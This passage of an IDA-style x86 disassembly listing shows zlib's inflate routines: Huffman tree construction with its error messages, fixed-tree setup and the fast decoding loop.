		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		push	4
		push	13h
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_10]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42CEBF
		mov	eax, 0FFFFFFFCh
		jmp	short loc_42CF32
; ---------------------------------------------------------------------------


loc_42CEBF:				; CODE XREF: sub_42CE8E+28j
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		push	0
		push	13h
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42C5C0
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_42CEFC
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_42CF1B
; ---------------------------------------------------------------------------


loc_42CEFC:				; CODE XREF: sub_42CE8E+60j
		cmp	[ebp+var_4], 0FFFFFFFBh
		jz	short loc_42CF0A
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42CF1B


loc_42CF0A:				; CODE XREF: sub_42CE8E+72j
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_42CF1B:				; CODE XREF: sub_42CE8E+6Cj
					; sub_42CE8E+7Aj
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_10]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]


loc_42CF32:				; CODE XREF: sub_42CE8E+2Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42CE8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CF36	proc near		; CODE XREF: sub_42B1FD+F01p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		push	4
		push	120h
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_20]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42CF6D
		mov	eax, 0FFFFFFFCh
		jmp	loc_42D0B7
; ---------------------------------------------------------------------------


loc_42CF6D:				; CODE XREF: sub_42CF36+2Bj
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		push	offset dword_434538
		push	offset dword_4344BC
		push	101h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42C5C0
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42CFB1
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42CFF6


loc_42CFB1:				; CODE XREF: sub_42CF36+71j
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_42CFC3
		mov	edx, [ebp+arg_20]
		mov	dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
		jmp	short loc_42CFDA
; ---------------------------------------------------------------------------


loc_42CFC3:				; CODE XREF: sub_42CF36+7Fj
		cmp	[ebp+var_4], 0FFFFFFFCh
		jz	short loc_42CFDA
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_42CFDA:				; CODE XREF: sub_42CF36+8Bj
					; sub_42CF36+91j
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_20]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_20]
		call	dword ptr [ecx+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		jmp	loc_42D0B7
; ---------------------------------------------------------------------------


loc_42CFF6:				; CODE XREF: sub_42CF36+79j
		mov	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_1C]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		push	offset dword_43462C
		push	offset dword_4345B4
		push	0
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_42C5C0
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42D046
		mov	edx, [ebp+arg_10]
		cmp	dword ptr [edx], 0
		jnz	short loc_42D0A1
		cmp	[ebp+arg_0], 101h
		jbe	short loc_42D0A1


loc_42D046:				; CODE XREF: sub_42CF36+FDj
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_42D058
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
		jmp	short loc_42D088
; ---------------------------------------------------------------------------


loc_42D058:				; CODE XREF: sub_42CF36+114j
		cmp	[ebp+var_4], 0FFFFFFFBh
		jnz	short loc_42D071
		mov	ecx, [ebp+arg_20]
		mov	dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree"
		mov	[ebp+var_4], 0FFFFFFFDh
		jmp	short loc_42D088
; ---------------------------------------------------------------------------


loc_42D071:				; CODE XREF: sub_42CF36+126j
		cmp	[ebp+var_4], 0FFFFFFFCh
		jz	short loc_42D088
		mov	edx, [ebp+arg_20]
		mov	dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_42D088:				; CODE XREF: sub_42CF36+120j
					; sub_42CF36+139j ...
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_20]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_20]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		jmp	short loc_42D0B7
; ---------------------------------------------------------------------------


loc_42D0A1:				; CODE XREF: sub_42CF36+105j
					; sub_42CF36+10Ej
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_20]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_20]
		call	dword ptr [ecx+24h]
		add	esp, 8
		xor	eax, eax


loc_42D0B7:				; CODE XREF: sub_42CF36+32j
					; sub_42CF36+BBj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42CF36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D0BB	proc near		; CODE XREF: sub_42B1FD+1A8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx], 5
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx], offset	dword_433340
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], offset	dword_434340
		xor	eax, eax
		pop	ebp
		retn
sub_42D0BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D0E6	proc near		; CODE XREF: sub_42A2DE+106p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+20h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42D134
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_38], ecx
		jmp	short loc_42D140
; ---------------------------------------------------------------------------


loc_42D134:				; CODE XREF: sub_42D0E6+3Bj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_38], eax


loc_42D140:				; CODE XREF: sub_42D0E6+4Cj
		mov	ecx, [ebp+var_38]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4332F8[edx*4]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, dword_4332F8[ecx*4]
		mov	[ebp+var_30], edx


loc_42D160:				; CODE XREF: sub_42D0E6+AFj
					; sub_42D0E6+639j
		cmp	[ebp+var_28], 14h
		jnb	short loc_42D197
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_42D160
; ---------------------------------------------------------------------------


loc_42D197:				; CODE XREF: sub_42D0E6+7Ej
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 0
		jnz	short loc_42D1FA
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx+4]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_42D712
; ---------------------------------------------------------------------------


loc_42D1FA:				; CODE XREF: sub_42D0E6+CEj
					; sub_42D0E6:loc_42D70Dj
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_20]
		and	eax, 10h
		test	eax, eax
		jz	loc_42D539
		mov	ecx, [ebp+var_20]
		and	ecx, 0Fh
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_10]
		and	eax, dword_4332F8[edx*4]
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_28]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_28], ecx


loc_42D25F:				; CODE XREF: sub_42D0E6+1B0j
		cmp	[ebp+var_28], 0Fh
		jnb	short loc_42D298
		mov	edx, [ebp+var_34]
		sub	edx, 1
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_42D25F
; ---------------------------------------------------------------------------


loc_42D298:				; CODE XREF: sub_42D0E6+17Dj
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_C]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx


loc_42D2B1:				; CODE XREF: sub_42D0E6:loc_42D52Fj
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_20]
		and	eax, 10h
		test	eax, eax
		jz	loc_42D44D
		mov	ecx, [ebp+var_20]
		and	ecx, 0Fh
		mov	[ebp+var_20], ecx


loc_42D2EA:				; CODE XREF: sub_42D0E6+23Bj
		mov	edx, [ebp+var_28]
		cmp	edx, [ebp+var_20]
		jnb	short loc_42D323
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_42D2EA
; ---------------------------------------------------------------------------


loc_42D323:				; CODE XREF: sub_42D0E6+20Aj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		and	ecx, dword_4332F8[eax*4]
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		add	eax, ecx
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		sub	eax, [edx+28h]
		cmp	eax, [ebp+var_18]
		jb	short loc_42D3BB
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_18]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		jmp	short loc_42D41D
; ---------------------------------------------------------------------------


loc_42D3BB:				; CODE XREF: sub_42D0E6+27Ej
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		sub	eax, [edx+28h]
		mov	ecx, [ebp+var_18]
		sub	ecx, eax
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_20]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_20]
		jbe	short loc_42D41D
		mov	edx, [ebp+var_14]
		sub	edx, [ebp+var_20]
		mov	[ebp+var_14], edx


loc_42D3E9:				; CODE XREF: sub_42D0E6+32Cj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 0
		jnz	short loc_42D3E9
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		mov	[ebp+var_C], ecx


loc_42D41D:				; CODE XREF: sub_42D0E6+2D3j
					; sub_42D0E6+2F8j ...
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_42D41D
		jmp	loc_42D534
; ---------------------------------------------------------------------------


loc_42D44D:				; CODE XREF: sub_42D0E6+1F5j
		mov	edx, [ebp+var_20]
		and	edx, 40h
		test	edx, edx
		jnz	short loc_42D48B
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_10]
		and	edx, dword_4332F8[ecx*4]
		mov	eax, [ebp+var_1C]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	loc_42D52F
; ---------------------------------------------------------------------------


loc_42D48B:				; CODE XREF: sub_42D0E6+36Fj
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance	code"
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		cmp	ecx, [ebp+var_14]
		jnb	short loc_42D4B7
		mov	edx, [ebp+var_28]
		shr	edx, 3
		mov	[ebp+var_3C], edx
		jmp	short loc_42D4BD
; ---------------------------------------------------------------------------


loc_42D4B7:				; CODE XREF: sub_42D0E6+3C4j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_3C], eax


loc_42D4BD:				; CODE XREF: sub_42D0E6+3CFj
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_34]
		add	edx, [ebp+var_14]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 3
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_10]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_28]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_34]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_42D7B7
; ---------------------------------------------------------------------------


loc_42D52F:				; CODE XREF: sub_42D0E6+3A0j
		jmp	loc_42D2B1
; ---------------------------------------------------------------------------


loc_42D534:				; CODE XREF: sub_42D0E6+362j
		jmp	loc_42D712
; ---------------------------------------------------------------------------


loc_42D539:				; CODE XREF: sub_42D0E6+13Ej
		mov	eax, [ebp+var_20]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_42D5C1
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_10]
		and	eax, dword_4332F8[edx*4]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 0
		jnz	short loc_42D5BC
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx+4]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_42D712
; ---------------------------------------------------------------------------


loc_42D5BC:				; CODE XREF: sub_42D0E6+490j
		jmp	loc_42D70D
; ---------------------------------------------------------------------------


loc_42D5C1:				; CODE XREF: sub_42D0E6+45Bj
		mov	edx, [ebp+var_20]
		and	edx, 20h
		test	edx, edx
		jz	loc_42D669
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_28]
		shr	edx, 3
		cmp	edx, [ebp+var_14]
		jnb	short loc_42D5F1
		mov	eax, [ebp+var_28]
		shr	eax, 3
		mov	[ebp+var_40], eax
		jmp	short loc_42D5F7
; ---------------------------------------------------------------------------


loc_42D5F1:				; CODE XREF: sub_42D0E6+4FEj
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_40], ecx


loc_42D5F7:				; CODE XREF: sub_42D0E6+509j
		mov	edx, [ebp+var_40]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_14]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		shl	edx, 3
		mov	eax, [ebp+var_28]
		sub	eax, edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_10]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_34]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_14]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	eax, 1
		jmp	loc_42D7B7
; ---------------------------------------------------------------------------


loc_42D669:				; CODE XREF: sub_42D0E6+4E3j
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		cmp	ecx, [ebp+var_14]
		jnb	short loc_42D695
		mov	edx, [ebp+var_28]
		shr	edx, 3
		mov	[ebp+var_44], edx
		jmp	short loc_42D69B
; ---------------------------------------------------------------------------


loc_42D695:				; CODE XREF: sub_42D0E6+5A2j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_44], eax


loc_42D69B:				; CODE XREF: sub_42D0E6+5ADj
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_34]
		add	edx, [ebp+var_14]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 3
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_10]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_28]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_34]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_42D7B7
; ---------------------------------------------------------------------------


loc_42D70D:				; CODE XREF: sub_42D0E6:loc_42D5BCj
		jmp	loc_42D1FA
; ---------------------------------------------------------------------------


loc_42D712:				; CODE XREF: sub_42D0E6+10Fj
					; sub_42D0E6:loc_42D534j ...
		cmp	[ebp+var_2C], 102h
		jb	short loc_42D725
		cmp	[ebp+var_34], 0Ah
		jnb	loc_42D160


loc_42D725:				; CODE XREF: sub_42D0E6+633j
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_28]
		shr	edx, 3
		cmp	edx, [ebp+var_14]
		jnb	short loc_42D747
		mov	eax, [ebp+var_28]
		shr	eax, 3
		mov	[ebp+var_48], eax
		jmp	short loc_42D74D
; ---------------------------------------------------------------------------


loc_42D747:				; CODE XREF: sub_42D0E6+654j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_48], ecx


loc_42D74D:				; CODE XREF: sub_42D0E6+65Fj
		mov	edx, [ebp+var_48]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_14]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		shl	edx, 3
		mov	eax, [ebp+var_28]
		sub	eax, edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_10]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_34]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_14]
		mov	[edx+8], ecx
